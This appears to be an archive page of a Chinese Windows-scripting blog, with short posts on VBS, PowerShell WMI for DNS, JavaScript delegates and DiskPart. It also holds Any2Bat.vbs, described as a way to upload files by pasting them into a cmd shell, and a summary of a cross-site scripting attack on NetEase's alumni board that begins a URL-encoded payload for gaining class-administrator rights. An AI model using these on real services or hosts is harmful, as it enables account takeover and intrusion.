2007年9月18日

Set oWSH = CreateObject("WScript.Shell")
oWSH.Run 
"RunDLL32 shell32.dll,Control_RunDLL %SystemRoot%\system32\TIMEDATE.cpl,,/Z China Standard Time"0True
posted @ 2007-09-18 22:36 wscript 阅读(587) 评论(2) 编辑
 
Powershell出来了一段时间了,学习了一下。和大家分享一下学习经验:

Powershell中,可以通过WMI来对DNS Server进行操作,具体方法如下:

(1)    创建一个WMIClass的实例,当然也可以用\\Servername\Root\MicrosoftDNS:MicrosoftDNS_ResourceRecord创建远程服务器的WMIClass实例:

PS> $DNS = [WMIClass]"ROOT\MicrosoftDNS:MicrosoftDNS_ResourceRecord"


(2)    调用CreateInstanceFromTextRepresentation方法:

PS> $DNS.CreateInstanceFromTextRepresentation("dnssrv.foo.com","foo.com","www.foo.com IN A 1.1.1.1")

CreateInstanceFromTextRepresentation方法的参数如下:

PS> $DNS | Get-Member -MemberType Method | Where {$_.Name -eq "CreateInstanceFromTextRepresentation"} | Select Definition | FL *

Definition : System.Management.ManagementBaseObject CreateInstanceFromTextRepresentation(System.String DnsServerName, System.String ContainerName, System.String TextRepresentation)

(3)    当然你也可以使用foreach来批量创建记录:

PS> cat dnsrecord.txt | % {$DNS.CreateInstanceFromTextRepresentation($DNSServe, $Domainname, $_)}

发散思维:

IIS,SQL Server,Exchange也都有WMI Provider。通过Powershell,可以降低脚本复杂度,更方便的调用WMI Provider提供的方法来操作企业应用程序。
posted @ 2007-09-18 21:03 wscript 阅读(270) 评论(0) 编辑

2007年9月11日

.net语言中有委托这个概念,委托的本质可以说是面向对象语言中安全的函数指针,javascript语言标准中虽然没有委托概念,但是却可以使用委托。因为在javascript是一个基于对象的语言,函数也是对象,所以自然就可以作为参数传递,于是也就可以使用委托机制。

这里举一个委托在异步调用中例子,来说明委托的用法,例子是对XmlHttp的简单封装:

<script type="text/javascript">
<!--
/*
* XmlHttp 类
*/
var XmlHttp = function() {
    
var o = null;
    
    
var readyStateChange = function(processResponseProc) {
        
if (o.readyState == 4) {
            
if (o.status == 200) {
                processResponseProc(o.responseText);
            } 
else {
                processResponseProc(
null);
            }
        }
    };

    
return {
        
/*
        * init 方法
        *
        * 返回值
        * 如果初始化成功则返回true,否则返回false
        *
        * 说明
        * 初始化XmlHttp对象,
        
*/
        init : 
function() {
            
if (o == null) {
                
if (window.XMLHttpRequest) {
                    
try {
                        o 
= new XMLHttpRequest();
                    } 
catch (ex) {
                        
return false;
                    }
                } 
else if (window.ActiveXObject) {
                    
try {
                        o 
= new ActiveXObject("Msxml4.XMLHttp");
                    } 
catch (ex) {
                        
try {
                            o 
= new ActiveXObject("Msxml2.XMLHttp");
                        } 
catch (ex) {
                            
try {
                                o 
= new ActiveXObject("Microsoft.XMLHttp");
                            } 
catch (ex) {
                                
return false;
                            }
                        }
                    }
                }
            }

            
return true;
        },

        
/*
        * get 方法
        *
        * 参数
        * url - 要请求的url
        * processResponse - 处理返回结果委托
        *
        * 返回值
        * 如果请求发起成功则返回true,否则返回false
        *
        * 说明
        * 发起http请求
        
*/
        get : 
function(url, processResponse) {
            
try {
                o.open(
"GET", url, true);
                o.onreadystatechange 
= function() { readyStateChange(processResponse); };
                o.send();
                
return true;
            } 
catch (ex) {
                
return false;
            }
        },

        
/*
        * post 方法
        *
        * 参数
        * url - 要请求的url
        * data - 发送的数据,注意这里值必须是urlencode过的
        * processResponse - 处理返回结果委托
        *
        * 返回值
        * 如果请求发起成功则返回true,否则返回false
        *
        * 说明
        * 发起post请求
        
*/
        post : 
function(url, data, processResponse) {
            processResponseProc 
= processResponse;
            
try {
                o.open(
"POST", url, true);
                o.onreadystatechange 
= function() { readyStateChange(processResponse); };
                o.setRequestHeader(
"Content-Length", data.length);
                o.setRequestHeader(
"Content-Type""application/x-www-form-urlencoded");
                o.send(data);
                
return true;
            } 
catch (ex) {
                
return false;
            }
        }
    };
};

var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
    xmlhttp.get(
"http://pstgroup.blogspot.com/"function(response) {
        
if (response != null) {
            document.write(response);
        }
    });
}
//-->
</script>

这里get和post方法都是异步调用,都需要传入有一个processResponse参数,这个参数是http返回内容处理函数,也就是我们所说的委托概念,对象内部会在http请求返回后回调该函数来处理返回的内容,委托这个词很形象,XmlHttp类并不知道调用者要对返回结果干些什么,于是就委托给这个传递近来的函数来做。

委托可以很好的降低不同功能之间的耦合,这个例子使用委托就符合Open-Close原则,如果有新的处理返回结果的需求可以很容易扩展,不用改动现有代码,比如我们的新需求是alert返回结果:

var xmlhttp = new XmlHttp();
if (xmlhttp.init()) {
    xmlhttp.get(
"http://pstgroup.blogspot.com/"function(response) {
        
if (response != null) {
            alert(response);
        }
    });
}

委托之所以适合异步调用,是因为异步调用符合委托的使用场景:调用者A调用被调用者B,由于调用过程是异步的,不会立刻返回结果,所以B在拿到返回结果时,有需要依赖于A来处理结果。当在类设计时发现类之间双向互相依赖的情况时,可以考虑使用委托。

posted @ 2007-09-11 11:36 wscript 阅读(446) 评论(0) 编辑

2007年9月4日

给硬盘分区,应该是每次新装系统都要干的事情,但是如果让你批量安装100台服务器的时候呢?显然用图形界面一台台的分区是不现实的。于是找到了这样一个命令行工具——DiskPart。

引用Windows 2003的Help:
DiskPart.exe 是一种文本模式命令解释程序,它使您能够通过使用脚本或从命令提示符直接输入来管理对象(磁盘、分区或卷)。在磁盘、分区或卷上使用 DiskPart.exe 命令之前,必须首先列出然后选中要给予其焦点的对象。当某个对象具有焦点时,键入的任何 DiskPart.exe 命令都会作用到该对象。

DiskPart /? 发现:
DiskPart可以使用/s参数执行一个DiskPart脚本。

于是
Diskpart脚本:diskpart.script
select disk=0
create partition primary size
=10240
select partition 
2
assign letter
=E
create partition primary size
=56320
select partition 
3
assign letter
=F

通过一个cmd来进行调用:mkPartition.cmd
diskpart /s \\Server\diskpart.script
format /FS:NTFS /V:APPS /Q E:
format /FS:NTFS /V:WEB /Q F:

这样,就可以快速的完成分区并格式化硬盘了,也可以加入ADS的sysprep执行中,在安装时一并分区。唯一的小缺憾是Format由于安全问题,无法不经过确认就格式化。导致不能简单地通过psexec或者wmi来远程执行这段脚本了。
posted @ 2007-09-04 16:52 wscript 阅读(3312) 评论(2) 编辑

2006年12月1日

一个把任何文件转成批处理的脚本

by zzzevazzz@ph4nt0m.org

用Base64编码数据,好处是压缩了大小(相对bin2str而言),缺点是增加处理时间和脚本复杂度。
由于效率瓶颈是在bat生成vbs这一步,所以总的来说还是合算了。
写文件用ADODB.Recordset,比debug好使多了。
大部分事都是脚本做的,批处理只是用echo来生成脚本而已。
echo版的好处是,全选复制粘贴到cmd shell里就把文件上传了。

'Any2Bat.vbs by zzzEVAzzz
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
with CreateObject("ADODB.Stream")
.type
=1:.open:.loadfromfile arg(0):bs=.read:l=.size:.close
end with
if err.number<>0 then wscript.quit
set fso=CreateObject("Scripting.FileSystemObject")
with fso.opentextfile(arg(0)&".bat",2,true)
if err.number<>0 then wscript.quit
.writeline 
"@echo bs=_>xx.vbs"
for k=1 to l step 129
.write 
"@echo """
.write b64b(midb(bs,k,
129))
.writeline 
"""+_>>xx.vbs"
next
.writeline 
"@echo """":set rs=CreateObject(""ADODB.Recordset"")>>xx.vbs"
.writeline 
"@echo set ado=CreateObject(""ADODB.Stream"")>>xx.vbs"
.writeline 
"@echo l=len(bs):ss="""":for k=1 to l step 4096:ss=ss+ub64(mid(bs,k,4096)):next:l=len(ss)>>xx.vbs"
.writeline 
"@echo rs.fields.append ""b"",205,l/2:rs.open:rs.addnew:rs(""b"")=ss+chrb(0):rs.update>>xx.vbs"
.writeline 
"@echo ado.mode=3:ado.type=1:ado.open:ado.write rs(""b"").getchunk(l/2)>>xx.vbs"
.writeline 
"@echo ado.savetofile """+fso.getfilename(arg(0))+""",2:ado.close>>xx.vbs"
.writeline 
"@echo function ub64(s):dim t(4),b(3):ub64="""":n=len(s):r=2 >>xx.vbs"
.writeline 
"@echo if n mod 4^<^>0 then exit function:end if:for i=1 to n step 4:for j=0 to 3 >>xx.vbs"
.writeline 
"@echo a=asc(mid(s,i+j,1)):if a=43 then:a=62:else if a=47 then:a=63:else if a^>47 and a^<58 then:_>>xx.vbs"
.writeline 
"@echo a=a+4:else if a=61 then:a=0:if r=2 then r=j-2:end if:else if a^>64 and a^<91 then:_>>xx.vbs"
.writeline 
"@echo a=a-65:else if a^>96 and a^<123 then:a=a-71:else:exit function:_>>xx.vbs"
.writeline 
"@echo end if:end if:end if:end if:end if:end if:t(j)=a:next>>xx.vbs"
.writeline 
"@echo b(0)=t(0)+t(1)*64 mod 256:b(1)=t(1)\4+t(2)*16 mod 256:b(2)=t(2)\16+t(3)*4 >>xx.vbs"
.writeline 
"@echo for j=0 to r:if b(j)^<16 then ub64=ub64+""0"":end if:ub64=ub64+hex(b(j))>>xx.vbs"
.writeline 
"@echo next:next:end function>>xx.vbs&&cscript.exe //nologo xx.vbs&del xx.vbs"
end with
const b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
function b64b(bin)
b64b
=""
n
=lenb(bin)
for i=1 to n step 3
a
=ascb(midb(bin,i,1))
b64b
=b64b+mid(b64,a mod 64+1,1)
if i<then
b
=ascb(midb(bin,i+1,1))
b64b
=b64b+mid(b64,(a\64+b*4)mod 64+1,1)
if i+1<then
c
=ascb(midb(bin,i+2,1))
b64b
=b64b+mid(b64,(b\16+c*16)mod 64+1,1)
b64b
=b64b+mid(b64,c\4+1,1)
else
b64b
=b64b+mid(b64,b\16+1,1)
b64b
=b64b+"="
end if
else
b64b
=b64b+mid(b64,a\64+1,1)
b64b
=b64b+"=="
end if
next
end function



用法很简单,就一个参数——要转换的文件全路径。
也可以直接拖放文件到这个vbs的图标上。

posted @ 2006-12-01 18:20 wscript 阅读(480) 评论(0) 编辑

2006年11月29日

SQL Server 2000提供2个WMI访问入口点:

1. \root\MicrosoftSQLServer,主要提供SQL Server的信息。默认没有安装,如要使用,需自行安装WMI SQL Server Administration Provider。安装文件位于SQL Server光盘上的\X86\Other\WMI\Setup.exe。

2. \root\CIMV2中的Win32_PerfFormattedData_MSSQLSERVER_*。默认也没有安装,除了要安装WMI SQL Server Administration Provider以外,还须手动刷新WMI ADAP(参考KB827260):

wmiadap.exe /f

posted @ 2006-11-29 19:24 wscript 阅读(340) 评论(0) 编辑

2006年11月23日

摘要: 如果你经常用vbs或者js写些windows脚本并且只知道用打印变量的方式来调试你的程序的话那么你可以先去吐一下血,然后看完本文。任何类型的windows脚本都是可以用脚本调试器来调试的,脚本调试器有几种,最简单的是微软提供的脚本调试器,在windows2000里可以以windows组建的形式安装,xp里你可以到ms官方网站下载。好一点的调试器,是vs带的,早在vs6的interdav就已经很好的...阅读全文
posted @ 2006-11-23 09:29 wscript 阅读(960) 评论(3) 编辑

2006年11月22日

摘要: 1.方法:网易同学录留言功能存在跨站,这里演示一个利用它把自己加为班级管理员的方法。在留言框里填写:+++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22ifram...阅读全文
posted @ 2006-11-22 13:14 wscript 阅读(196) 评论(0) 编辑

2006年11月21日

摘要: 集合的概念在windows脚本中很常用,尤其是在wmi方面的脚本中基本都会遇到集合操作。在vbscript里遍历集合的方法很简单,For Each循环就可以达到目的。但是在jscript中如何使用集合,却困扰了我很长时间,连msdn中都找不到好的例子,令我一度悲观的认为jscript不能进行集合操作。在我几乎快要放弃的时候,又翻出一本vbscript wmi的电子书看了看,竟然找到了jscript...阅读全文
posted @ 2006-11-21 13:24 wscript 阅读(369) 评论(11) 编辑